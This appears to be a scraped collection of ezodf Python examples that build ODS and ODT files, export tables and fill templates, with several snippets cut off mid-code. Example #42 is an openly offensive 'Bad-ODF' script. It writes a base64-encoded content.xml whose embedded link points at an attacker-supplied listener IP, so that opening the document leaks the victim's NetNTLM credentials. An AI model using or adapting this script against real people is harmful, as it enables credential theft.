vetor_metricas = ['ua', 'mmloc', 'acc', 'da', 'sc', 'mlk', 'rfc', 'uaf', 'saigv', 'amloc', 'an', 'cbo', 'anpm', 'rsva', 'asom', 'osf', 'npm', 'auv', 'obaa', 'noa', 'lcom4', 'nom', 'dbz', 'pitfc', 'dnp', 'bd', 'dit', 'npa', 'fgbo', 'dupv', 'bf', 'noc', 'accm', 'loc', 'df', 'uav', 'rogu']

for metrica in vetor_metricas:

	print(metrica)

	#Aqui eu crio a estrutura da planilha
	ods = newdoc(doctype='ods', filename= metrica + '.ods')

	sheet = Sheet('SHEET', size=(100, 12))

	ods.sheets += sheet

	sheet['B1'].set_value("Min")
	sheet['C1'].set_value("1%")
	sheet['D1'].set_value("5%")
	sheet['E1'].set_value("10%")
	sheet['F1'].set_value("25%")
	sheet['G1'].set_value("50%")
	sheet['H1'].set_value("75%")
	sheet['I1'].set_value("90%")
	sheet['J1'].set_value("95%")
	sheet['K1'].set_value("99%")
	sheet['L1'].set_value("Máx")

	vetor_posicoes = ['B','C','D','E','F','G','H','I','J','K','L']
Example #34
0
#!/usr/bin/env python
#coding:utf-8
# Purpose: create a simple list
# Created: 18.01.2011
# Copyright (C) 2011, Manfred Moitzi
# License: MIT license
from __future__ import unicode_literals, print_function, division
__author__ = "mozman <*****@*****.**>"

import ezodf

name = 'simple_list_document.odt'
odt = ezodf.newdoc(doctype=name[-3:], filename=name)
content = odt.body
content.append(ezodf.Heading("A Simple List"))
content.append(ezodf.ezlist(['Point 1', 'Point 2', 'Point 3']))
odt.save()
Example #35
0
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import ezodf
from ezodf.text import Paragraph, Heading, Span, ListItem, List, CN
from sla import sla, DictAttr, State
import lxml.etree
import sys

from svd_util import optz
optz.text( 'template')
optz,args = optz.get()

odt = ezodf.newdoc( doctype='odt', filename= args[0], template= optz.template )
body = odt.body
pic = body.find( CN("draw:frame"))
body.clear()
if pic: body.append( pic)

def Heading2(): return Heading( outline_level=2)
def Heading3(): return Heading( outline_level=3)

styles = {
   'h1': Heading,
   'h3': Heading2,
   'p' : Paragraph,
   'dd list-entry': ListItem,
   'dt list-hdr':   Heading3,
   'dt list-hdr0':  Heading3,
   'dl':  List,
   'ul':  List,
   'mail':  None,
Example #36
0
#!/usr/bin/env python
#coding:utf-8
# Purpose: example spreadhet with formula
# Created: 06.02.2011
# Copyright (C) 2011, Manfred Moitzi
# License: MIT license
from __future__ import unicode_literals, print_function, division
__author__ = "mozman <*****@*****.**>"

import ezodf

ods = ezodf.newdoc('ods')

sheet = ezodf.Sheet('SUM Formula')
ods.sheets += sheet

for col in range(5):
    for row in range(10):
        sheet[row, col].set_value(col * 10. + row)

sheet['F9'].set_value("Summe:")
sheet['F10'].formula = 'of:=SUM([.A1:.E10])'
sheet['F1'].formula = 'of:=SUM([.A1];[.B1];[.C1];[.D1];[.E1])'
ods.saveas('sum_formula.ods')
         
     print len(lst)
     
     for num, l in lst:
         #l is a tuple of chapt_nr and list of chapter elements
         sections.append(create_section_xml(num, l))
         
     print len(sections)
     
     
     #create new odt file
     fname = d+".odf"
     if os.path.isfile(fname):
         os.remove(fname)
         print "File %s removed!" %fname
     odt = newdoc(doctype='odt', filename=fname)
     print "File %s created!" %fname
     
     #add styles to the odt file
     for s in styles:
         odt.inject_style(etree.tostring(s, pretty_print = True))
     print "Styles added to file %s!" %fname
     
     #add title
 
     #add first folio nr
 
 
     for idx, p in enumerate(sections):
         print "Adding paragraph %s!" %idx
         if idx == 0:
Example #38
0
 def __init__(self, filename, **keywords):
     BookWriter.__init__(self, filename)  # in case something will be done
     self.native_book = ezodf.newdoc(doctype="ods", filename=filename)
Example #39
0
def exportTable(matrix, fname, format, title=None):
    """Save data to a file
    Inputs
        matrix: array with data to save
        fname: name of file to save
        format: name of format to save
            csv | ods | xls | xlsx
        title: column title array, optional
    """
    sheetTitle = unicode(QApplication.translate("pychemqt", "Table"))
    if fname.split(".")[-1] != format:
        fname+=".%s" % format

    # Format title
    if title:
        header = []
        for ttl in title:
            line = unicode(ttl).split(os.linesep)
            if line[-1] != "[-]":
                line[-1] = "["+line[-1]+"]"
            header.append(" ".join(line))
        c_newline=maketrans(os.linesep, " ")

    if format == "csv":
        import csv
        with open(fname, "w") as archivo:
            writer = csv.writer(archivo, delimiter='\t', quotechar='"', quoting=csv.QUOTE_NONE)
            
            # Add Data
            if title:
                writer.writerow([ttl.translate(c_newline) for ttl in header])
            c_float=maketrans(".", ",")
            for row in matrix:
                writer.writerow([str(data).translate(c_float) for data in row])

    elif format == "ods":
        import ezodf
        spreadsheet = ezodf.newdoc("ods", fname)
        sheets = spreadsheet.sheets
        sheet=ezodf.Table(sheetTitle)
        sheets+=sheet
        sheet.reset(size=(len(matrix)+1, len(matrix[0])))
        
        # Add Data
        if title:
            for i, ttl in enumerate(header):
                sheet["%s%i"%(spreadsheetColumn(i), 1)].set_value(ttl)
        for j, row in enumerate(matrix):
            for i, data in enumerate(row):
                sheet["%s%i"%(spreadsheetColumn(i), j+2)].set_value(data)
        spreadsheet.save()

    elif format == "xls":
        import xlwt
        spreadsheet = xlwt.Workbook()
        sheet = spreadsheet.add_sheet(sheetTitle)
        
        font = xlwt.Font()
        font.bold = True
        style = xlwt.XFStyle()
        style.font = font

        # Add Data
        if title:
            for i, ttl in enumerate(header):
                sheet.write(0, i, ttl, style)
        for j, row in enumerate(matrix):
            for i, data in enumerate(row):
                sheet.write(j+1, i, data)
        spreadsheet.save(fname)

    elif format == "xlsx":
        import openpyxl
        from openpyxl.styles import Style, Font
        spreadsheet = openpyxl.Workbook()
        sheet = spreadsheet.active
        sheet.title = sheetTitle
        
        font1 = Font()
        font1.size = 9
        font1.bold = True
        font2 = Font()
        font2.size = 9
        
        # Add Data
        if title:
            for i, ttl in enumerate(header):
                sheet["%s%i"%(spreadsheetColumn(i), 1)] = ttl
                sheet["%s%i"%(spreadsheetColumn(i), 1)].style.font= font1
        for j, row in enumerate(matrix):
            for i, data in enumerate(row):
                sheet["%s%i"%(spreadsheetColumn(i), j+2)] = data
                sheet["%s%i"%(spreadsheetColumn(i), j+2)].style.font = font2
        spreadsheet.save(filename=fname)
    
    else:
        raise ValueError(QApplication.translate(
            "pychemqt", "Unsopported format") + " " + format)
Example #40
0
def exportTable(matrix, fname, format, title=None):
    """Save data to a file
    Inputs
        matrix: array with data to save
        fname: name of file to save
        format: name of format to save
            csv | ods | xls | xlsx
        title: column title array, optional
    """
    sheetTitle = unicode(QApplication.translate("pychemqt", "Table"))
    if fname.split(".")[-1] != format:
        fname += ".%s" % format

    # Format title
    if title:
        header = []
        for ttl in title:
            line = unicode(ttl).split(os.linesep)
            if line[-1] != "[-]":
                line[-1] = "[" + line[-1] + "]"
            header.append(" ".join(line))
        c_newline = maketrans(os.linesep, " ")

    if format == "csv":
        import csv
        with open(fname, "w") as archivo:
            writer = csv.writer(archivo,
                                delimiter='\t',
                                quotechar='"',
                                quoting=csv.QUOTE_NONE)

            # Add Data
            if title:
                writer.writerow([ttl.translate(c_newline) for ttl in header])
            c_float = maketrans(".", ",")
            for row in matrix:
                writer.writerow([str(data).translate(c_float) for data in row])

    elif format == "ods":
        import ezodf
        spreadsheet = ezodf.newdoc("ods", fname)
        sheets = spreadsheet.sheets
        sheet = ezodf.Table(sheetTitle)
        sheets += sheet
        sheet.reset(size=(len(matrix) + 1, len(matrix[0])))

        # Add Data
        if title:
            for i, ttl in enumerate(header):
                sheet["%s%i" % (spreadsheetColumn(i), 1)].set_value(ttl)
        for j, row in enumerate(matrix):
            for i, data in enumerate(row):
                sheet["%s%i" % (spreadsheetColumn(i), j + 2)].set_value(data)
        spreadsheet.save()

    elif format == "xls":
        import xlwt
        spreadsheet = xlwt.Workbook()
        sheet = spreadsheet.add_sheet(sheetTitle)

        font = xlwt.Font()
        font.bold = True
        style = xlwt.XFStyle()
        style.font = font

        # Add Data
        if title:
            for i, ttl in enumerate(header):
                sheet.write(0, i, ttl, style)
        for j, row in enumerate(matrix):
            for i, data in enumerate(row):
                sheet.write(j + 1, i, data)
        spreadsheet.save(fname)

    elif format == "xlsx":
        import openpyxl
        from openpyxl.styles import Style, Font
        spreadsheet = openpyxl.Workbook()
        sheet = spreadsheet.active
        sheet.title = sheetTitle

        font1 = Font()
        font1.size = 9
        font1.bold = True
        font2 = Font()
        font2.size = 9

        # Add Data
        if title:
            for i, ttl in enumerate(header):
                sheet["%s%i" % (spreadsheetColumn(i), 1)] = ttl
                sheet["%s%i" % (spreadsheetColumn(i), 1)].style.font = font1
        for j, row in enumerate(matrix):
            for i, data in enumerate(row):
                sheet["%s%i" % (spreadsheetColumn(i), j + 2)] = data
                sheet["%s%i" %
                      (spreadsheetColumn(i), j + 2)].style.font = font2
        spreadsheet.save(filename=fname)

    else:
        raise ValueError(
            QApplication.translate("pychemqt", "Unsopported format") + " " +
            format)
Example #41
0
 def save(self, path):
     doc = ezodf.newdoc(doctype="ods", filename=path)
     doc.sheets.append(self.get_ods_sheet())
     doc.save()
     return doc
Example #42
0
print """
    ____            __      ____  ____  ______
   / __ )____ _____/ /     / __ \/ __ \/ ____/
  / __  / __ `/ __  /_____/ / / / / / / /_    
 / /_/ / /_/ / /_/ /_____/ /_/ / /_/ / __/    
/_____/\__,_/\__,_/      \____/_____/_/     

"""
print "Create a malicious ODF document help leak NetNTLM Creds"
print "\nBy Richard Davy "
print "@rd_pentest"
print "www.secureyourit.co.uk\n"

#Create a blank ODT file
namef = "temp.odt"
odt = newdoc(doctype='odt', filename=namef)
odt.save()

#Create our modified content.xml file
contentxml1 = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjxvZmZpY2U6ZG9jdW1lbnQtY29udGVudCB4bWxuczpvZmZpY2U9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2ZmaWNlOjEuMCIgeG1sbnM6c3R5bGU9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6c3R5bGU6MS4wIiB4bWxuczp0ZXh0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnRleHQ6MS4wIiB4bWxuczp0YWJsZT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczp0YWJsZToxLjAiIHhtbG5zOmRyYXc9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6ZHJhd2luZzoxLjAiIHhtbG5zOmZvPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnhzbC1mby1jb21wYXRpYmxlOjEuMCIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6bWV0YT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczptZXRhOjEuMCIgeG1sbnM6bnVtYmVyPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOmRhdGFzdHlsZToxLjAiIHhtbG5zOnN2Zz0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpzdmctY29tcGF0aWJsZToxLjAiIHhtbG5zOmNoYXJ0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOmNoYXJ0OjEuMCIgeG1sbnM6ZHIzZD0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpkcjNkOjEuMCIgeG1sbnM6bWF0aD0iaHR0cDovL3d3dy53My5vcmcvMTk5OC9NYXRoL01hdGhNTCIgeG1sbnM6Zm9ybT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpmb3JtOjEuMCIgeG1sbnM6c2NyaXB0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnNjcmlwdDoxLjAiIHhtbG5zOm9vbz0iaHR0cDovL29wZW5vZmZpY2Uub3JnLzIwMDQvb2ZmaWNlIiB4bWxuczpvb293PSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAwNC93cml0ZXIiIHhtbG5zOm9vb2M9Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA0L2NhbGMiIHhtbG5zOmRvbT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS94bWwtZXZlbnRzIiB4bWxuczp4Zm9ybXM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDIveGZvcm1zIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczpycHQ9Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA1L3JlcG9ydCIgeG1sbnM6b2Y9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2Y6MS4yIiB4bWxuczp4aHRtbD0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgeG1sbnM6Z3JkZGw9Imh0dHA6Ly93d3cudzMub3JnLzIwMDMvZy9kYXRhLXZpZXcjIiB4bWxuczpvZmZpY2Vvb289Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA5L29mZmljZSIgeG1sbnM6dGFibGVvb289Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA5L3RhYmxlIiB4bWxuczpkcmF3b29vPSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAxMC9kcmF3IiB4bWxuczpjYWxjZXh0PSJ1cm46b3JnOmRvY3VtZW50Zm91bmRhdGlvbjpuYW1lczpleHBlcmltZW50YWw6Y2FsYzp4bWxuczpjYWxjZXh0OjEuMCIgeG1sbnM6bG9leHQ9InVybjpvcmc6ZG9jdW1lbnRmb3VuZGF0aW9uOm5hbWVzOmV4cGVyaW1lbnRhbDpvZmZpY2U6eG1sbnM6bG9leHQ6MS4wIiB4bWxuczpmaWVsZD0idXJuOm9wZW5vZmZpY2U6bmFtZXM6ZXhwZXJpbWVudGFsOm9vby1tcy1pbnRlcm9wOnhtbG5zOmZpZWxkOjEuMCIgeG1sbnM6Zm9ybXg9InVybjpvcGVub2ZmaWNlOm5hbWVzOmV4cGVyaW1lbnRhbDpvb3htbC1vZGYtaW50ZXJvcDp4bWxuczpmb3JtOjEuMCIgeG1sbnM6Y3NzM3Q9Imh0dHA6Ly93d3cudzMub3JnL1RSL2NzczMtdGV4dC8iIG9mZmljZTp2ZXJzaW9uPSIxLjIiPjxvZmZpY2U6c2NyaXB0cy8+PG9mZmljZTpmb250LWZhY2UtZGVjbHM+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMdWNpZGEgU2FuczEiIHN2Zzpmb250LWZhbWlseT0iJmFwb3M7THVjaWRhIFNhbnMmYXBvczsiIHN0eWxlOmZvbnQtZmFtaWx5LWdlbmVyaWM9InN3aXNzIi8+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMaWJlcmF0aW9uIFNlcmlmIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO0xpYmVyYXRpb24gU2VyaWYmYXBvczsiIHN0eWxlOmZvbnQtZmFtaWx5LWdlbmVyaWM9InJvbWFuIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iTGliZXJhdGlvbiBTYW5zIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO0xpYmVyYXRpb24gU2FucyZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3dpc3MiIHN0eWxlOmZvbnQtcGl0Y2g9InZhcmlhYmxlIi8+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMdWNpZGEgU2FucyIgc3ZnOmZvbnQtZmFtaWx5PSImYXBvcztMdWNpZGEgU2FucyZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iTWljcm9zb2Z0IFlhSGVpIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO01pY3Jvc29mdCBZYUhlaSZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iU2ltU3VuIiBzdmc6Zm9udC1mYW1pbHk9IlNpbVN1biIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjwvb2ZmaWNlOmZvbnQtZmFjZS1kZWNscz48b2ZmaWNlOmF1dG9tYXRpYy1zdHlsZXM+PHN0eWxlOnN0eWxlIHN0eWxlOm5hbWU9ImZyMSIgc3R5bGU6ZmFtaWx5PSJncmFwaGljIiBzdHlsZTpwYXJlbnQtc3R5bGUtbmFtZT0iT0xFIj48c3R5bGU6Z3JhcGhpYy1wcm9wZXJ0aWVzIHN0eWxlOmhvcml6b250YWwtcG9zPSJjZW50ZXIiIHN0eWxlOmhvcml6b250YWwtcmVsPSJwYXJhZ3JhcGgiIGRyYXc6b2xlLWRyYXctYXNwZWN0PSIxIi8+PC9zdHlsZTpzdHlsZT48L29mZmljZTphdXRvbWF0aWMtc3R5bGVzPjxvZmZpY2U6Ym9keT48b2ZmaWNlOnRleHQ+PHRleHQ6c2VxdWVuY2UtZGVjbHM+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJJbGx1c3RyYXRpb24iLz48dGV4dDpzZXF1ZW5jZS1kZWNsIHRleHQ6ZGlzcGxheS1vdXRsaW5lLWxldmVsPSIwIiB0ZXh0Om5hbWU9IlRhYmxlIi8+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJUZXh0Ii8+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJEcmF3aW5nIi8+PC90ZXh0OnNlcXVlbmNlLWRlY2xzPjx0ZXh0OnAgdGV4dDpzdHlsZS1uYW1lPSJTdGFuZGFyZCIvPjx0ZXh0OnAgdGV4dDpzdHlsZS1uYW1lPSJTdGFuZGFyZCI+PGRyYXc6ZnJhbWUgZHJhdzpzdHlsZS1uYW1lPSJmcjEiIGRyYXc6bmFtZT0iT2JqZWN0MSIgdGV4dDphbmNob3ItdHlwZT0icGFyYWdyYXBoIiBzdmc6d2lkdGg9IjE0LjEwMWNtIiBzdmc6aGVpZ2h0PSI5Ljk5OWNtIiBkcmF3OnotaW5kZXg9IjAiPjxkcmF3Om9iamVjdCB4bGluazpocmVmPSJmaWxlOi8v"
contentxml2 = raw_input("\nPlease enter IP of listener: ")
contentxml3 = "L3Rlc3QuanBnIiB4bGluazp0eXBlPSJzaW1wbGUiIHhsaW5rOnNob3c9ImVtYmVkIiB4bGluazphY3R1YXRlPSJvbkxvYWQiLz48ZHJhdzppbWFnZSB4bGluazpocmVmPSIuL09iamVjdFJlcGxhY2VtZW50cy9PYmplY3QgMSIgeGxpbms6dHlwZT0ic2ltcGxlIiB4bGluazpzaG93PSJlbWJlZCIgeGxpbms6YWN0dWF0ZT0ib25Mb2FkIi8+PC9kcmF3OmZyYW1lPjwvdGV4dDpwPjwvb2ZmaWNlOnRleHQ+PC9vZmZpY2U6Ym9keT48L29mZmljZTpkb2N1bWVudC1jb250ZW50Pg=="

fileout = base64.b64decode(contentxml1) + contentxml2 + base64.b64decode(
    contentxml3)

text_file = open("content.xml", "w")
text_file.write(fileout)
text_file.close()

#Create a copy of the blank odt file without the content.xml file in (odt files are basically a zip)
    for data, dataStart, dataEnd in grade.scanString(content):
        name = unicode(data["name"].strip(), "utf-8")
        mec  = data["mec"]
        if not rmat[mec]:
            rmat[mec] = [name, mec]
            names.append((name, mec))
        question_number_list.append(data["Q#"])
        weight.append(data["points"])
        if "mangrade" in data:
            rmat[mec].append(data["mangrade"].replace('.',','))
        else:
            rmat[mec].append(data["autgrade"].replace('.',','))
    points.extend(list(set(weight)))
    

doc = newdoc(doctype='ods', filename='grades_bioinformatics_{}.ods'.format(now))

doc.sheets.append(Sheet(name="grades", size=(1, 20)))

sheet = doc.sheets['grades']

def write_row(sheet, row):
    for i,v in enumerate(row):
        sheet[(sheet.nrows()-1, i)].set_value(v)
    sheet.append_rows()

headers = (['name','mec']+
           ["Q{}".format(no) for no in sorted(set(question_number_list))]+
           ['grade(0-20)'])

write_row(sheet, headers)
Example #44
0
#!/usr/bin/env python
#coding:utf-8
# Purpose: empty spreadsheet
# Created: 26.01.2011
# Copyright (C) 2011, Manfred Moitzi
# License: MIT license
from __future__ import unicode_literals, print_function, division
__author__ = "mozman <*****@*****.**>"

import ezodf

ods = ezodf.newdoc('ods', "empty_spreadsheet.ods")
for sheetname in ['SHEET1', 'SHEET2', 'SHEET3']:
    ods.sheets += ezodf.Sheet(name=sheetname, size=(20, 10))

ods.save()
#!/usr/bin/env python
#coding:utf-8
# Purpose: swap row/columns of a table
# Created: 04.10.2011
# Copyright (C) 2011, Manfred Moitzi
# License: MIT license
from __future__ import unicode_literals, print_function, division
__author__ = "mozman <*****@*****.**>"

import ezodf

ROWS, COLS = 20, 10

# create a new spreadsheet document
doc = ezodf.newdoc(doctype="ods", filename="my_spreadsheet.ods")
# create a new table
table = ezodf.Table(name="Table", size=(ROWS, COLS))
# add table to document
doc.sheets += table

# set table values
for row in range(ROWS):
    for col in range(COLS):
        content = "%s%s" % (chr(65+col), row+1)
        cell = table[row, col]
        cell.set_value(content)

# create the symmetric table
symtable = ezodf.Table(name="Symmetry", size=(COLS, ROWS))
doc.sheets += symtable
Example #46
0
#!/usr/bin/env python
# coding:utf-8
# Purpose: empty spreadsheet
# Created: 26.01.2011
# Copyright (C) 2011, Manfred Moitzi
# License: MIT license
from __future__ import unicode_literals, print_function, division

__author__ = "mozman <*****@*****.**>"

import ezodf

ods = ezodf.newdoc("ods", "empty_spreadsheet.ods")
for sheetname in ["SHEET1", "SHEET2", "SHEET3"]:
    ods.sheets += ezodf.Sheet(name=sheetname, size=(20, 10))

ods.save()
Example #47
0
n_PARAM=len(PARAM)
n_CONT=len(CONT)
n_EST=len(EST)

#Para contenedor-estacion
Plantilla_CE='templates/R115.ods'
#Para parametros-estaciones
Plantilla_PE='templates/Param_Est.ods'

Salida_CE='salida/'+OUT_FOLDER+'/R115_'+Codigo_Proyecto+'_No_SSE_'+No_solicitud+'.ods'
Salida_PE='salida/'+OUT_FOLDER+'/Matriz_PE_'+Codigo_Proyecto+'_No_SSE_'+No_solicitud+'.ods'


#Generar R115 de contenedores estaciones
#Opcion EZODF: Se guarda la plantilla con el nombre del doc
Matriz_CE = newdoc(doctype="ods",filename=Salida_CE,template=Plantilla_CE)
#Cargar la hoja template en el python
Tabla_EC = Matriz_CE.sheets[0]
#En C6 es el código del proyecto
Tabla_EC['B6'].set_value(Codigo_Proyecto)
#Crear dos tablas, una para estacion parametros, otra para contenedor.

#Fila de llenado
row_matrix=11

n_cols=Tabla_EC.ncols()
n_rows=Tabla_EC.nrows()
count_cols=n_EST-n_cols+1
count_rows=n_rows+n_CONT-row_matrix

Tabla_EC.append_columns(count=count_cols)
Example #48
0
#
veredictos_a_procesar = lee_pendientes('../input/lista_veredictos.csv')
#
anho = str(datetime.datetime.now().year)
file_tramite = '../historial/' + 'tramites_por_enviar_' + anho + '.csv'
if not (os.path.isfile(file_tramite)):
    f = open(file_tramite, "w+")
    f.write('|'.join(veredictos_a_procesar[0]) + '\n')
    f.close()
for i in range(1, len(veredictos_a_procesar)):
    namef = '../temp/' + veredictos_a_procesar[i][0].zfill(
        3) + '_CI_' + veredictos_a_procesar[i][3] + '_' + unidecode.unidecode(
            veredictos_a_procesar[i][1]).replace(' ', '_') + '.odt'
    odt = newdoc(doctype='odt',
                 filename=namef,
                 template='../origen/plantilla_veredicto.odt')
    odt.save()
    #print(namef)
    nombre_especifico = diccionario(nombre_generico, veredictos_a_procesar[i])
    a = zipfile.ZipFile(namef)
    content = a.read('content.xml')
    content = str(content.decode(encoding='utf8'))
    for j in nombre_generico:
        content = str.replace(content, j, nombre_especifico[j])
    content = content.encode(
        encoding='utf8'
    )  #https://www.journaldev.com/23617/python-string-encode-decode
    updateZip(namef, 'content.xml', content)
    f = open(file_tramite, "a+")
    f.write('|'.join(veredictos_a_procesar[i]) + '\n')
Example #49
0
#!/usr/bin/env python
#coding:utf-8
# Purpose: simple spreadsheet
# Created: 26.01.2011
# Copyright (C) 2011, Manfred Moitzi
# License: MIT license
from __future__ import unicode_literals, print_function, division
__author__ = "mozman <*****@*****.**>"

import ezodf

ods = ezodf.newdoc('ods', "simple_spreadsheet.ods")

sheet = ezodf.Sheet('NUMBERS', size=(20, 10))
ods.sheets += sheet
for index in range(sheet.ncols()):
    sheet[5, index].set_value(index)
    sheet[index, 5].set_value(index)
    sheet[index, index].set_value(index, value_type='currency', currency='EUR')

sheet = ezodf.Sheet('TEXT', size=(20, 10))
ods.sheets += sheet
for column in range(sheet.ncols()):
    for row, cell in enumerate(sheet.column(column)):
        cell.set_value("Cell (%d, %d)" % (row, column))
ods.save()
#!/usr/bin/env python
#coding:utf-8
# Purpose: swap row/columns of a table
# Created: 04.10.2011
# Copyright (C) 2011, Manfred Moitzi
# License: MIT license
from __future__ import unicode_literals, print_function, division
__author__ = "mozman <*****@*****.**>"

import ezodf

ROWS, COLS = 20, 10

# create a new spreadsheet document
doc = ezodf.newdoc(doctype="ods", filename="my_spreadsheet.ods")
# create a new table
table = ezodf.Table(name="Table", size=(ROWS, COLS))
# add table to document
doc.sheets += table

# set table values
for row in range(ROWS):
    for col in range(COLS):
        content = "%s%s" % (chr(65 + col), row + 1)
        cell = table[row, col]
        cell.set_value(content)

# create the symmetric table
symtable = ezodf.Table(name="Symmetry", size=(COLS, ROWS))
doc.sheets += symtable
def generate_spreadsheet(correction_folder):
   
    now = time.strftime("%Y-%m-%d %H_%M_%S", time.localtime())
    
    files = sorted(f for f in  os.listdir(correction_folder) if re.match("^question\d{3}\.txt$",f))
    
    rmat = collections.defaultdict(dict)
    
    grade =(Literal("question..........:").suppress() + Word(nums+"."+",").setResultsName("Q#") +
            Literal("points............:").suppress() + Word(nums+"."+",").setResultsName("points") +
            Literal("name..............:").suppress() + restOfLine.setResultsName("name") +
            Literal("mec...............:").suppress() + Word(alphanums).setResultsName("mec") +
            Literal("automatic grade(%):").suppress() + Word(nums+"."+",").setResultsName("autgrade") +
            Literal("manual grade(%)...:").suppress() + Optional(Word(nums+"."+",")).setResultsName("mangrade"))
    
    question_number_list = []
    name_list            = []
    points               = []
    
    
    names=[]
    
    for file_ in files:
        weight=[]
        print("processing: ", file_)
        content = open(os.path.join(correction_folder, file_),"r").read()
        for data, dataStart, dataEnd in grade.scanString(content):
            name = str(data["name"].strip())
            try:
                mec  = int(data["mec"])
            except ValueError:
                mec  = str(data["mec"])
            if not rmat[mec]:
                rmat[mec] = [name, mec]
                names.append((name, mec))
            question_number_list.append(data["Q#"])
            weight.append(data["points"])
            if "mangrade" in data:
                rmat[mec].append(float( data["mangrade"]))
            else:
                rmat[mec].append(float( data["autgrade"]))
        points.extend(list(set(weight)))
    
    

    doc = newdoc(doctype='ods', filename='grades_bioinformatics_{}.ods'.format(now))
    
    doc.sheets.append(Sheet(name="grades", size=(1, 20)))
    
    sheet = doc.sheets['grades']

    def write_row(sheet, row):
        for i,v in enumerate(row):
            sheet[(sheet.nrows()-1, i)].set_value(v)
        sheet.append_rows()

    headers = (['name','mec']+
               ["Q{}".format(no) for no in sorted(set(question_number_list))]+
               ['grade(0-20)'])
    
    write_row(sheet, headers)
    write_row(sheet, ["",""] + points)
    
    from string import ascii_uppercase as letters
    
    formula="=20*("
    #print(points)
    for c in range(len(points)):
        formula += "${letter}$2*{letter}3+".format(letter = letters[c+2])
    formula = formula.rstrip("+")
    formula +=")/{} \n".format(sum([100*int(x) for x in points]))
    
    write_row(sheet, ["Max Maximus", 99999] + [100]*len(points) + [formula]+['=IF({}3<9.5,"R","")'.format(letters[c+3])])
    
    for mec in [m for n, m in sorted(names)]:
        write_row(sheet, rmat[mec])
    
    doc.save()
    input("press return")
Example #52
0
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import ezodf
from ezodf.text import Paragraph, Heading, Span, ListItem, List, CN

from svd_util import optz
optz.text( 'template')
optz,args = optz.get()

inp = args[0]

d = ezodf.opendoc( inp)

odt = ezodf.newdoc( doctype='odt',
        filename= inp.replace('.odt','.flat.odt'),
        template= optz.template or inp)
body = odt.body
#pic = body.find( CN("draw:frame"))

body.clear()
#if pic: body.append( pic)

if 0:
    img = CN('draw:image')
    fra = CN('draw:frame')
    tbx = CN("draw:text-box")

    once = 0
    def delimg( a):
        global once
        for i in a:
Example #53
0
